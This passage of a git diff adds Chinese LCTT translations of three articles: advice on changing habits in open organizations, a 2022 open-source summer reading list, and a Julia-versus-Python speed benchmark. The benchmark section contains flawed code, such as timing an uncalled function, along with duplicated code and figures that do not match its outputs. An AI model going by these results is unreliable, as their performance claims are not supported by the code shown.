不关心销售额的下降 +* 由于内卷,销售团队之间不协同合作 +* 让一个健谈的人主导会议 + +### 逐步改变习惯 + +习惯不是一成不变的,你可以改变你的行为习惯。首先,要知道不能一下子改变所有坏习惯。相反,先找到一个关键的习惯进行改变,这会产生小而快速的奖励。请记住,改变了一个关键的习惯后,会产生连锁反应。 + +以下是你可以用来改变任何习惯的四步框架,其中还包括与开放式组织原则相关的习惯。 + +#### 第一步:调整例行事项 + +确定你的习惯循环和例行事项,例如,当面临一件你无法独自解决的重大挑战之时。例行事项(你表现出的行为)最容易确定,所以先从它下手:例如,“在我的组织中,没人愿意和别人讨论问题。大家都会早早地放弃”。决定好你想要调整、改变或者学习的事情:例如:“每次重大挑战到来的时候,我应该和他人讨论一下,并且尝试建立一个志同道合、有能力解决问题的社区。” + +#### 第二步:有奖励的实验 + +奖励是很重要的,因为它会满足你强烈的渴望。但是,我们通常没有意识到强烈的渴望会驱动我们的行为。只有在事后,才会被我们察觉。比方说,开会时很多次你都想尽快离开会议室,避免讨论话题,即使内心清楚你应该弄明白如何解决问题。 + +要了解强烈的渴望是什么,你必须要实验。这可能会花费你几天、几周甚至更久的时间。你必须要感受到触发压力,才能完全识别它。例如,问问你自己当你试图推卸责任时的感受。 + +把你自己当作科学家,进行实验并收集数据。这是你调查研究的步骤: + +1. 第一个行为结束后,开始调整后面的行为,看看有没有奖励变化。例如,如果你每次碰到自己无法解决的挑战时都放弃,那么奖励就是不承担责任的解脱。更好的解决方法是与至少一个同样关心该问题的人讨论该问题。关键是要测试不同的假设,以确定哪种渴望驱使你的日常生活。你真的想逃避责任吗? +2. 在经历四至五个不同的例行事项和奖励之后,写下在收到每个奖励后立即想到的前三、四件事。例如,你不会在面对挑战时放弃,而是与其他人讨论这个问题。然后,你决定可以做什么。 +3. 写下你的感受或渴望后,设置一个 15 分钟的计时器。当计时器结束时,问问自己是否依旧渴望。在屈服于渴望之前,请休息一会儿并再考虑一两次这个问题。这会迫使你意识到这一刻,并帮助你稍后回忆起你当时的想法。 +4. 试着记住你在那一刻的想法和感受,然后在例行事项后 15 分钟。如果渴望消失了,你就已经确定了回报是什么。 + +#### 第三步:分析出坏习惯的提示或触发器 + +坏习惯的提示信息很难鉴定,因为通常有太多信息干扰你未定型的行为。要在干扰中鉴别提示,你可以在你的坏习惯出现的时候,观察以下四个因素: + +地点:它在哪里发生?例如:“我最大的挑战在会议中出现。” + +时间:它什么时候出现?例如:“如果我累了,下午的会议就是在浪费时间,因为我没兴趣付出努力。” + +感受:你当时的情绪状态是怎样的?例如:“当我听到这个问题时,我感到压力山大并且很沮丧。” + +人们:当时有谁或者哪一类人在你周围,还是你是独自一人?例如:“在会议上,大多数人似乎对这个问题也不感兴趣。剩下的人主导会议讨论。” + +#### 第四步:制定养成好习惯的计划 + +一旦你确定奖励可以驱动你的行为,某些提示会触发你的坏习惯,那你就可以开始改变你的行动。请跟随以下三个简单的步骤: + +1. 首先,规划好习惯的提示。例如:“在会议上,我将发现并将我的注意力集中在重要的问题上。” +2. 其次,选择一种能带来相同回报的好行为,但不会遭受你现在坏习惯的惩罚。例如:“我将找到解决这个问题的方法,并考虑我需要哪些资源和技能才能成功。当我创建一个能够成功解决问题的社区时,我会感觉很棒。” +3. 最后,让你选择的行为成为深思熟虑的选择,直到你不再需要考虑它,就能下意识地做它了。例如:“我将有意识地关注重要问题,直到我可以不假思索地做到这一点。我会查看近期会议的安排表,这样我就可以提前知道会发生什么。在每次会议开始前和会议期间,我会问自己‘为什么我会来开会’,来确保我集中注意于重要的事情。” + +#### 制定计划来避免忘记必做事项 + +为了成功地开始做你经常忘记的事情,请按照以下步骤: + +1. 计划你想要做什么 +2. 决定何时完成 +3. 将计划分为必要的小任务 +4. 用计时器或者日常计划进行提示,并开始每项任务 +5. 按计划完成每个任务 +6. 按时完成后就奖励自己 + +### 习惯的改变 + +习惯的改变需要很长时间。有时候互助小组会帮助你改变习惯。有时候,在低压力环境中,进行大量的练习和角色预演能够更好地帮助你改变。想要找到有效的奖励,你需要不断的尝试。 + +有时,习惯是更重要、更深层次问题的反映。在这些情况下,你可能需要专业帮助。但是,如果你有改变的愿望,并接受在此过程中会有一些小失败,你就可以控制任何习惯。 + +在本文中,我使用了使用 *提示-例行事项-奖励* 三个过程的社区开发示例。它同样可以应用于其他开放式组织的原则。我希望这篇文章能让你思考如何通过了解习惯如何运作、采取措施改变习惯,以及制定计划避免忘记你想做的事情,来管理习惯。无论是开放式组织原则,还是其他任何东西,你现在都可以判断出提示、常规和奖励。当提示出现时,这将引导你制定改变习惯的计划。 + +在我的下一篇文章中,我将通过 Art Markman 教授在《Smart Thinking》中观点来继续讨论习惯。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/22/6/using-habits-practice-open-organization-principles + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_selfcare_wfh_porch_520.png +[2]: https://theopenorganization.org/definition/open-organization-definition/ diff --git a/published/202210/20220621 7 summer book recommendations from open source enthusiasts.md b/published/202210/20220621 7 summer book recommendations from open source enthusiasts.md new file mode 100644 index 0000000000..66784a6b0c --- /dev/null +++ b/published/202210/20220621 7 summer book recommendations from open source enthusiasts.md @@ -0,0 +1,197 @@ +[#]: subject: "7 summer book recommendations from open source enthusiasts" +[#]: via: "https://opensource.com/article/22/6/2022-opensourcecom-summer-reading-list" +[#]: author: "Joshua Allen Holm https://opensource.com/users/holmja" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15157-1.html" + +来自开源爱好者的 7 本读物推荐 +====== + +> 社区的成员们推荐这些书籍,涵盖了从有趣的悬疑小说到发人深省的非小说作品的各种类型,你一定能从中找到一本你想看的书! + +![](https://img.linux.net.cn/data/attachment/album/202210/20/115515jsppwzz8s1ssle7p.jpg) + +很高兴能为大家介绍 Opensource.com 的 2022 年暑期阅读清单。今年的榜单包含来自 Opensource.com 社区成员的 7 本精彩的读物推荐。你可以发现各种各样的书籍,涵盖从有趣舒适的谜团到探索发人深省主题的非小说类作品。我希望你能在这个榜单中找到感兴趣的书本。 + +希望你喜欢! + +### 《每个 Java 程序员都应该知道的 97 件事:专家的集体智慧》 + +![Book title 97 Things Every Java Programmer Should Know][4] + +> **《[每个 Java 程序员都应该知道的 97 件事:专家的集体智慧][5]97 Things Every Java Programmer Should Know: Collective Wisdom from the Experts》** + +编辑:Kevlin Henney 和 Trisha Gee + +*[由 Seth Kenlon 推荐][6]* + +这本书是由 73 位在软件行业工作的不同作者共同撰写。它的优秀之处在于它不仅仅适用于 Java 编程。当然,有些章节会涉及 Java,但是也还有一些其他话题,例如了解你的容器环境、如何更快更好地交付软件、以及不要隐藏你的开发工具,这些适用于任何语言的开发。 + +更好的是,有些章节同样适用于生活中的问题。将问题和任务分成小的部分是解决任何问题的好建议;建立多样化的团队对所有合作者都很重要;由从散乱的一块块拼图到拼好的完成品,看起来像是拼图玩家的思路,也适用于不同的工作角色。 + +每章只有几页,总共有 97 个章节,你可以轻松跳过不适用于你自己的章节。无论你是一直在写 Java 代码、或者只是学过一点 Java,亦或是尚未开始学习 Java,对于对代码和软件开发过程感兴趣的极客来说,这都会是一本好书。 + +### 《城市不是计算机:其他的城市智能》 + +![Book title A City is Not a Computer][7] + +> **《[城市不是计算机:其他的城市智能][8]A City is Not a Computer: Other Urban Intelligences》** + +作者:Shannon Mattern + +*[由 Scott Nesbitt 推荐][9]* + +如今,让一切变得智能已经成为一种 *时尚*:我们的手机、家用电器、手表、汽车,甚至是城市都变得智能化了。 + +对于城市的智能化,这意味着传感器变得无处不在,在我们开展业务时收集数据,并根据这些数据向我们推送信息(无论数据有用与否)。 + +这就引出了一个问题,将所有高科技技术嵌入到城市中是否会使得城市智能化呢?在《城市不是计算机》这本书中,作者 Shannon Mattern 认为并不是这样的。 + +城市智能化的目标之一是为市民提供服务和更好的城市参与感。Mattern 指出,但是实际上,智慧城市“希望将技术专家的管理想法与公共服务相融合,从而将公民重新设置为‘消费者’和‘用户’”,然而,这并不是在鼓励公民积极参与城市的生活和治理。 + +第二个问题是关于智慧城市收集的数据。我们不知道收集了什么数据,以及收集了多少数据。我们也不知道这些数据使用在什么地方,以及是谁使用的。收集的数据太多了,以至于处理数据的市政工作人员会不堪重负。他们无法处理所有数据,因此他们专注于短期容易实现的任务,而忽略了更深层次和更紧迫的问题。这绝对达不到在推广智慧城市时所承诺的目标:智慧城市将成为解决城市困境的良药。 + +《城市不是计算机》是一本短小精悍、经过深入研究的、反对拥抱智慧城市的论证。这本书让我们思考智慧城市的真正目的:要让百姓真正受益于城市智能化,并引发我们的思考:发展智慧城市是否必要呢。 + +### 《git sync 谋杀案》 + +![Book title git sync murder][10] + +> **《[git sync 谋杀案][11]git sync murder》** + +作者:Michael Warren Lucas + +*[由 Joshua Allen Holm 推荐][12]* + +Dale Whitehead 宁愿呆在家里,通过他的电脑终端与世界连接,尤其是在他参加的最后一次会议上发生的事情之后。在那次会议上,Dale 扮演了一个业余侦探的角色,解决了一桩谋杀案。你可以在该系列的第一本书《git commit 谋杀案git commit murder》中读到那个案件。 + +现在,Dale 回到家,参加另一个会议,他再次发现自己成为了侦探。在《git sync 谋杀案git sync murder》中,Dale 参加了一个当地科技会议/科幻大会,会议上发现一具尸体。这是谋杀,还是只是一场意外?现在,Dale 是这些问题的“专家”,他发现自己被卷入了这件事,并要亲自去弄清楚到底发生了什么。再多说的话就剧透了,所以我能说《git sync 谋杀案》这本书十分引人入胜,而且读起来很有趣。不必先阅读《git commit 谋杀案》,才能阅读《git sync 谋杀案》,但我强烈推荐一起阅读该系列中的这两本书。 + +作者 Michael Warren Lucas 的《git 谋杀案》系列非常适合喜欢悬疑小说的科技迷。Lucas 写过很多复杂的技术题材的书,这本书也延续了他的技术题材,《git sync 谋杀案》这本书中的人物在会议活动上谈论技术话题。如果你因为新冠疫情,最近没有参加过会议,怀念参会体验的话,Lucas 将带你参加一个技术会议,其中还有一个谋杀之谜以待解决。Dale Whitehead 是一个有趣的业余侦探,我相信大多数读者会喜欢和 Dale 一起参加技术会议,并充当侦探破解谜案的。 + +### 《像女孩一样踢球》 + +![Book title Kick Like a Girl][13] + +> **《[像女孩一样踢球][14]Kick Like a Girl》** + +作者:Melissa Di Donato Roos + +*[由 Joshua Allen Holm 推荐][15]* + +没有人喜欢被孤立,当女孩 Francesca 想在公园里踢足球时,她也是这样。男孩们不会和她一起玩,因为她是女孩,所以她不高兴地回家了。她的母亲安慰她,讲述了有重要影响力的著名女性的故事。《像女孩一样踢球》中详述的历史人物包括历史中来自许多不同领域的女性。读者将了解 Frida Kahlo、Madeleine Albright、阿达·洛芙莱斯Ada Lovelace、Rosa Parks、Amelia Earhart、玛丽·居里Marie Curie(居里夫人)、Valentina Tereshkova、弗洛伦斯·南丁格尔Florence Nightingale 和 Malala Yousafzai 的故事。听完这些鼓舞人心的人物故事后,Francesca 回到公园,向男孩们发起了一场足球挑战。 + +《像女孩一样踢球》这本书的特色是作者 Melissa Di Donato Roos(SUSE 的 CEO,LCTT 译注:SUSE 是一家总部位于德国的软件公司,创立于 1992 年,以提供企业级 Linux 为主要业务)引人入胜的写作和 Ange Allen 的出色插图。这本书非常适合年轻读者,他们会喜欢押韵的文字和书中的彩色插图。Melissa Di Donato Roos 还写了另外两本童书,《美人鱼如何便便How Do Mermaids Poo?》和《魔盒The Magic Box》,这两本书也都值得一读。 + +### 《这是我的!:所有权的潜规则如何控制着我们的生活》 + +![Book title Mine!][16] + +> **《[这是我的!:所有权的潜规则如何控制着我们的生活][17]Mine!: How the Hidden Rules of Ownership Control Our Lives》** + +作者:Michael Heller 和 James Salzman + +*[由 Bryan Behrenshausen 推荐][18]* + +作者 Michael Heller 和 James Salzman 在文章《这是我的!》中写道:“你对所有权的很多了解都是错误的”。这是一种被吸引到开源领域的人不得不接受所有权规则的对抗性邀请。这本书肯定是为开源爱好者而写的,他们对代码、思想、各种知识产权的所有权的看法往往与主流观点和普遍接受的认知不同。在本书中,Heller 和 Salzman 列出了“所有权的隐藏规则”,这些规则管理着谁能控制对什么事物的访问。这些所有权规则是微妙的、强大的、有着深刻的历史惯例。这些所有权规则已经变得如此普遍,以至于看起来无可争议,这是因为“先到先得”或“种瓜得瓜,种豆得豆”的规则已经成为陈词滥调。然而,我们看到它们无处不在:在飞机上,为宝贵的腿部空间而战;在街道上,邻居们为铲好雪的停车位发生争执;在法庭上,陪审团决定谁能控制你的遗产和你的 DNA。在当下的数字时代,所有权的替代理论能否为重新思考基本权利创造空间?作者们认为这是可以的。如果这是正确的,我们可能会回应:在未来,开源软件能否成为所有权运作的模型呢? + +### 《并非所有童话故事都有幸福的结局:雪乐山公司的兴衰》 + +![Book Title Not All Fairy Tales Have Happy Endings][19] + +> **《[并非所有童话故事都有幸福的结局:雪乐山公司的兴衰][20]Not All Fairy Tales Have Happy Endings: The Rise and Fall of Sierra On-Line》** + +作者:Ken Williams + +*[由 Joshua Allen Holm 推荐][21]* + +在 1980 年代和 1990 年代,雪乐山公司Sierra On-Line是计算机软件行业的巨头。这家由 Ken 和 Roberta Williams 夫妻创立的公司,出身并不起眼,但却发布了许多标志性的电脑游戏。《国王密使King's Quest》、《宇宙传奇Space Quest》、《荣耀任务Quest for Glory》、《Leisure Suit Larry》 和 《狩魔猎人Gabriel Knight》 只是该公司几个最大的专属系列中的很小一部分。 + +《并非所有童话故事都有幸福的结局》这本书,涵盖了从雪乐山公司发布第一款游戏 《[神秘屋][22]Mystery House》,到该公司不幸地被 CUC 国际公司收购以及后续的所有内容。雪乐山品牌在被收购后仍存活了一段时间,但 Williams 创立的雪乐山已不复存在。Ken Williams 以一种只有他才能做到的方式,讲述了雪乐山公司的整个历史。雪乐山的历史叙述穿插了一些 Williams 提出的管理和计算机编程建议的章节。虽然 Ken Williams 在写这本书时,已经离开这个行业很多年了,但他的建议仍然非常重要。 + +虽然雪乐山公司已不复存在,但该公司对计算机游戏行业产生了持久的影响。对于任何对计算机软件历史感兴趣的人来说,《并非所有童话故事都有美好的结局》都是值得一读的。雪乐山公司在其鼎盛时期处于游戏开发的最前沿,从带领公司走过那个激动人心的岁月的 Ken Williams 身上,我们可以学到许多宝贵的经验。 + +### 《新机器的灵魂》 + +![Book title The Soul of a New Machine][23] + +> **《[新机器的灵魂][24]The Soul of a New Machine》** + +作者:Tracy Kidder + +*[由 Guarav Kamathe 推荐][25]* + +我是计算机历史的狂热读者。知道这些人们如此依赖(并且经常被认为是理所当然)的计算机是如何形成的,真是令人着迷!我是在 [Bryan Cantrill][27] 的博客文章中,第一次听说 《[新机器的灵魂][26]》这本书的。这是一本由 [Tracy Kidder][29] 编著的非虚构书籍,于 1981 年出版,作者 Tracy Kidder也因此获得了 [普利策奖][30]。故事发生在 1970 年代,想象一下你是负责设计 [下一代计算机][31] 工程团队中的一员。故事的背景是在通用数据公司Data General Corporation,该公司当时是一家小型计算机供应商,正在与美国数字设备公司Digital Equipment Corporation(DEC)的 32 位 VAX 计算机相竞争。该书概述了通用数据公司内部两个相互竞争的团队,都想在设计新机器上一展身手,结果导致了一场争斗。接下来,细致地描绘了随之展开的事件。这本书深入地讲述了相关工程师的思想、他们的工作环境、他们在此过程中面临的技术挑战、他们是如何克服这些困难的、以及压力如何影响到了他们的个人生活等等。任何想知道计算机是怎么制造出来的人都应该阅读这本书。 + +以上就是 2022 年的推荐阅读书目。它提供了很多非常棒的选择,我相信读者们能得到数小时发人深省的阅读时光。想获取更多书籍推荐,请查看我们历年的阅读书目。 + +* [2021 年 Opensource.com 推荐阅读书目][32] +* [2020 年 Opensource.com 推荐阅读书目][33] +* [2019 年 Opensource.com 推荐阅读书目][34] +* [2018 年 Open Organization 推荐阅读书目][35] +* [2016 年 Opensource.com 推荐阅读书目][36] +* [2015 年 Opensource.com 推荐阅读书目][37] +* [2014 年 Opensource.com 推荐阅读书目][38] +* [2013 年 Opensource.com 推荐阅读书目][39] +* [2012 年 Opensource.com 推荐阅读书目][40] +* [2011 年 Opensource.com 推荐阅读书目][41] +* [2010 年 Opensource.com 推荐阅读书目][42] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/2022-opensourcecom-summer-reading-list + +作者:[Joshua Allen Holm][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/holmja +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/tea-cup-mug-flowers-book-window.jpg +[2]: https://unsplash.com/@sixteenmilesout?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://opensource.com/sites/default/files/2022-06/97_Things_Every_Java_Programmer_Should_Know_1.jpg +[5]: https://www.oreilly.com/library/view/97-things-every/9781491952689/ +[6]: https://opensource.com/users/seth +[7]: https://opensource.com/sites/default/files/2022-06/A_City_is_Not_a_Computer_0.jpg +[8]: https://press.princeton.edu/books/paperback/9780691208053/a-city-is-not-a-computer +[9]: https://opensource.com/users/scottnesbitt +[10]: https://opensource.com/sites/default/files/2022-06/git_sync_murder_0.jpg +[11]: https://mwl.io/fiction/crime#gsm +[12]: https://opensource.com/users/holmja +[13]: https://opensource.com/sites/default/files/2022-06/Kick_Like_a_Girl.jpg +[14]: https://innerwings.org/books/kick-like-a-girl +[15]: https://opensource.com/users/holmja +[16]: https://opensource.com/sites/default/files/2022-06/Mine.jpg +[17]: https://www.minethebook.com/ +[18]: https://opensource.com/users/bbehrens +[19]: https://opensource.com/sites/default/files/2022-06/Not_All_Fairy_Tales.jpg +[20]: https://kensbook.com/ +[21]: https://opensource.com/users/holmja +[22]: https://en.wikipedia.org/wiki/Mystery_House +[23]: https://opensource.com/sites/default/files/2022-06/The_Soul_of_a_New_Machine.jpg +[24]: https://www.hachettebookgroup.com/titles/tracy-kidder/the-soul-of-a-new-machine/9780316204552/ +[25]: https://opensource.com/users/gkamathe +[26]: https://en.wikipedia.org/wiki/The_Soul_of_a_New_Machine +[27]: https://en.wikipedia.org/wiki/Bryan_Cantrill +[28]: http://dtrace.org/blogs/bmc/2019/02/10/reflecting-on-the-soul-of-a-new-machine/ +[29]: https://en.wikipedia.org/wiki/Tracy_Kidder +[30]: https://www.pulitzer.org/winners/tracy-kidder +[31]: https://en.wikipedia.org/wiki/Data_General_Eclipse_MV/8000 +[32]: https://opensource.com/article/21/6/2021-opensourcecom-summer-reading-list +[33]: https://opensource.com/article/20/6/summer-reading-list +[34]: https://opensource.com/article/19/6/summer-reading-list +[35]: https://opensource.com/open-organization/18/6/summer-reading-2018 +[36]: https://opensource.com/life/16/6/2016-summer-reading-list +[37]: https://opensource.com/life/15/6/2015-summer-reading-list +[38]: https://opensource.com/life/14/6/annual-reading-list-2014 +[39]: https://opensource.com/life/13/6/summer-reading-list-2013 +[40]: https://opensource.com/life/12/7/your-2012-open-source-summer-reading +[41]: https://opensource.com/life/11/7/summer-reading-list +[42]: https://opensource.com/life/10/8/open-books-opensourcecom-summer-reading-list diff --git a/published/202210/20220902 Julia and Python- Which Language is Quicker-.md b/published/202210/20220902 Julia and Python- Which Language is Quicker-.md new file mode 100644 index 0000000000..c5f824072b --- /dev/null +++ b/published/202210/20220902 Julia and Python- Which Language is Quicker-.md @@ -0,0 +1,272 @@ +[#]: subject: "Julia and Python: Which Language is Quicker?" +[#]: via: "https://www.opensourceforu.com/2022/09/julia-and-python-which-language-is-quicker/" +[#]: author: "B Thangaraju https://www.opensourceforu.com/author/b-thangaraju/" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15096-1.html" + +Julia 和 Python,哪一个更快? +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/122529vdztvds1ttqez1ts.jpg) + +Julia 是一门高度抽象的动态编程语言。虽然它是一门能够开发所有程序的通用语言,但它有几个特点,非常适用于科学计算和数值计算。Python 在 1990 年初作为一种简单的面向对象的程序语言出现,如今已经有了显著的发展。本文将从它们在神经网络和机器学习的性能表现上进行讨论。 + +Julia 的架构以动态语言中的参数多态性parametric polymorphism多重派发multiple dispatch的编程范式为主要特色。它允许使用或不使用消息传递接口message passing interface(MPI)或内置的 “OpenMP 式” 线程进行并发、并行和分布式计算,以及直接调用 C 和 FORTRAN 库而无需额外的代码。Julia 使用 即时just-in-time(JIT)编译器,Julia 社区将其称为 “即时预编译just-ahead-of-time(JAOT)”,因为它在运行之前默认将所有代码编译为机器码。 + +与 Python 不同,Julia 是专为统计学和机器学习而设计的。Julia 可以快速的完成线性代数的运算,但 Python 很慢。这是因为 Python 从来都不是为了适应机器学习用到的矩阵和方程而设计的。Python 本身并不差,特别是 Numpy,但在没有使用包的情况下,Julia 更像是为数学量身定制的。相比 Python,Julia 的运算符更像 R,这是一个显著的优势。大部分的线性代数运算可以用更少的时间和精力去完成。 + +众所周知,近年来 Python 在机器学习和数据科学领域占据主导地位。因为在 Python 中我们可以使用各种各样的第三方库来帮助我们编写机器学习的代码。虽然 Python 有这么多优势,但仍有一个主要的缺点——它是一门解释性语言,速度非常慢。现在是数据时代,数据越多我们处理它的时间就越长,这也是 Julia 出现的理由。 + +到目前为止,有关 Julia 的研究工作都集中在高性能或者 Julia 的科学计算能力等主题上。但在这里,我们将讨论 Julia 不仅能够有效地处理复杂的科学计算,还能够处理基于商业的问题,以及像 Python 一样处理机器学习和神经网络。 + +### 实验目标与实验设计 + +Julia 像 Python 一样简洁,但却像 C 一样是一门编译语言。首先我们来测试 Julia 要比 Python 快多少。为此,我们先在一些简单的程序上测试它们,然后来到我们实验的重点,测试它们的机器学习和深度学习能力。 + +Julia 和 Python 都提供了许多库和开源的基准测试工具。为了在 Julia 中进行基准测试和计算时间,我们使用了 `CPUTime` 和 `time` 库;对于 Python,我们同样使用了 `time` 模块。 + +### 矩阵乘法 + +一开始我们尝试了简单的算术运算,但由于这些运算不会产生太大的时间差异,我们决定比较矩阵乘法的时间差异。我们创建了两个 `(10 * 10)` 的随机浮点数矩阵,并对它们施以点积。众所周知,Python 有一个 `Numpy` 库,常被用于计算矩阵和向量。而 Julia 也有一个 `LinearAlgebra` 库,常用于计算矩阵和向量。因此我们分别比较了各自使用和不使用库的矩阵乘法的耗时。本文用到的所有源码已经放在了 [GitHub 存储库][1]。下面给出了用 Julia 编写的 10×10 矩阵乘法程序: + +``` +@time LinearAlgebra.mul!(c,x,y) + +function MM() +x = rand(Float64,(10,10)) +y = rand(Float64,(10,10)) +c = zeros(10,10) + +for i in range(1,10) +for j in range(1,10) +for k in range(1,10) +c[i,j] += x[i,k]*y[k,j] +end +end +end +end +@time MM + +0.000001 seconds +MM (generic function with 1 method) +``` + +Julia 使用库耗时 0.000017 秒,使用循环耗时 0.000001 秒。 + +使用 Python 编写相同的矩阵乘法程序如下。 从结果可以发现,与不使用库相比,使用库的程序花费的时间更少: + +``` +import numpy as np +import time as t +x = np.random.rand(10,10) +y = np.random.rand(10,10) +start = t.time() +z = np.dot(x, y) +print(“Time = “,t.time()-start) +Time = 0.001316070556640625 + +import random +import time as t +l = 0 +h= 10 +cols = 10 +rows= 10 + +choices = list (map(float, range(l,h))) +x = [random.choices (choices , k=cols) for _ in range(rows)] +y = [random.choices (choices , k=cols) for _ in range(rows)] + +result = [([0]*cols) for i in range (rows)] + +start = t.time() + +for i in range(len(x)): +for j in range(len(y[0])): +for k in range(len(result)): +result[i][j] += x[i][k] * y[k][j] + +print(result) +print(“Time = “, t.time()-start) + +Time = 0.0015912055969238281 +``` + +Python 使用库耗时 0.0013 秒,使用循环耗时 0.0015 秒。 + +### 线性搜索 + +我们进行的下一个实验是对十万个随机生成的数字进行线性搜索。这里使用了两种方法,一种是使用 `for` 循环,另一种是使用运算符。我们使用 1 到 1000 的整数执行了 1000 次搜索,正如你在下面的输出中看到的那样,我们还打印了我们在数据集中找到了多少个整数。下面给出了使用循环和使用 `IN` 运算符的时间。这里我们使用了 CPU 3 次运行时间的中位数。 + +使用 Julia 编写的程序和运行结果如下: + +(LCTT 译注:此处原文缺失 Julia 代码) + +使用 Python 编写的程序和运行结果如下: + +``` +import numpy as np +import time as t +x = np.random.rand(10,10) +y = np.random.rand(10,10) +start = t.time() +z = np.dot(x, y) +print(“Time = “,t.time()-start) +Time = 0.001316070556640625 + +import random +import time as t +l = 0 +h= 10 +cols = 10 +rows= 10 + +choices = list (map(float, range(l,h))) +x = [random.choices (choices , k=cols) for _ in range(rows)] +y = [random.choices (choices , k=cols) for _ in range(rows)] + +result = [([0]*cols) for i in range (rows)] + +start = t.time() + +for i in range(len(x)): +for j in range(len(y[0])): +for k in range(len(result)): +result[i][j] += x[i][k] * y[k][j] + +print(result) +print(“Time = “, t.time()-start) + +Time = 0.0015912055969238281 +``` + +``` +FOR_SEARCH: +Elapsed CPU time: 16.420260511 seconds +matches: 550 +Elapsed CPU time: 16.140975079 seconds +matches: 550 +Elapsed CPU time: 16.49639576 seconds +matches: 550 + +IN: +Elapsed CPU time: 6.446583343 seconds +matches: 550 +Elapsed CPU time: 6.216615487 seconds +matches: 550 +Elapsed CPU time: 6.296716556 seconds +matches: 550 +``` + +从以上结果来看,在 Julia 中使用循环和运算符并不会产生显著的时间差异。但是在 Python 中循环几乎比运算符 IN 多花了三倍的时间。有趣的是,在这两种情况下,Julia 都比 Python 快得多。 + +### 线性回归 + +下一个实验是测试机器学习算法。我们选择了以一种最常见和最简单的机器学习算法,使用简单数据集的线性回归。我们使用了一个包含 237 条数据的数据集 “Head Brain”,数据集的两列分别为 “HeadSize” 和 “BrainWeight”。接下来,我们使用 “head size” 数据去计算 “brain weight”。在 Python 和 Julia 中我们都没有使用第三方库,而是从零实现了线性回归算法。 + +Julia: + +``` +GC.gc() +@CPUtime begin +linear_reg() +end +elapsed CPU time: 0.000718 seconds +``` + +Python: + +``` +gc.collect() +start = process_time() +linear_reg() +end = process_time() + +print(end-start) +elapsed time: 0.007180344000000005 +``` + +上面给出了 Julia 和 Python 所花费的时间。 + +### 逻辑回归 + +接下来,我们使用两种语言的库对最常见的机器学习算法(即逻辑回归)进行了实验。对于 Python 我们使用最常见的库 `sklearn`;对于 Julia,我们使用 `GLM` 库。我们在这里用到的数据集是有关银行客户的信息,其中包含 10,000 个数据条目。目标变量是一个二元变量,区分消费者是否继续使用银行账户。 + +下面给出了 Julia 进行逻辑回归所花费的时间: + +``` +@time log_rec() +0.027746 seconds (3.32 k allocations: 10.947 MiB) +``` + +下面给出了 Python 进行逻辑回归所花费的时间: + +``` +gc.collect() +start = process_time() +LogReg() +end = process_time() +print(end-start) + +Accuracy : 0.8068 +0.34901400000000005 +``` + +### 神经网络 + +在各种程序和数据集上测试这两种语言后,我们在神经网络上使用 MNIST 数据集继续测试它们。该数据集包含从零到九的手绘数字的灰度图像。每张图像为 28×28 像素。每个像素值表示该像素的亮度或暗度,该值是包含 0 到 255 之间的整数。该数据还包含一个标签列,该列表示在相关图像中绘制的数字。 + +![Figure 1: Example of MNIST data set][2] + +图 1 是 MNIST 数据集的示例。 + +对两种语言我们都建立了一个简单的神经网络来测试它们耗费的时间。神经网络的结构如下: + +``` +Input ---> Hidden layer ---> Output +``` + +该神经网络包含了一个输入层、隐层还有输出层。为了避免神经网络的复杂度过高,我们对数据集没有进行任何的预处理工作。在 Julia 和 Python 中我们都进行了40次训练并比较它们的时间差异。 + +![Figure 2: Julia takes 5.76 seconds in a neural network][3] + +在 Julia 中,`Flux` 库通常被用于建立神经网络;在 Python 中我们常使用 `Keras` 库。图 2 展示了 Julia 在神经网络上的耗时。图 3 展示了 Python 的神经网络经过了若干次训练的耗时。 + +![Figure 3: Python takes 110.3 seconds in a neural network][4] + +这个结果展示了 Julia 和 Python 在处理神经网络时存在巨大的时间差异。 + +表 1 总结了此次实验的测试结果并计算了 Julia 和 Python 时间差异的百分比。 + +| 实验 | Julia(秒) | Python(秒) | 时间差(%) | +| :- | :- | :- | :- | +| 矩阵乘法(不使用库) | 0.000001 | 0.0015 | 99.9 | +| 矩阵乘法(使用库) | 0.000017 | 0.0013 | 98.69 | +| 线性搜索(使用循环) | 0.42 | 16.4 | 97.43 | +| 线性搜索(使用 IN 操作符) | 0.43 | 6.2 | 93.06 | +| 线性回归 | 0.000718 | 0.00718 | 90 | +| 逻辑回归 | 0.025 | 0.34901 | 92.83 | +| 神经网络 | 5.76 | 110.3 | 94.77 | + +我们进行的所有实验都表明,随着程序复杂性以及数据集大小的增加,Julia 和 Python 之间的执行时间差异也会增加。由这个结果我们可以推断,Julia 是一门更适合机器学习和神经网络的编程语言。 + + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/julia-and-python-which-language-is-quicker/ + +作者:[B Thangaraju][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/b-thangaraju/ +[b]: https://github.com/lkxed +[1]: https://github.com/mr-nerdster/Julia_Research.gitsee +[2]: 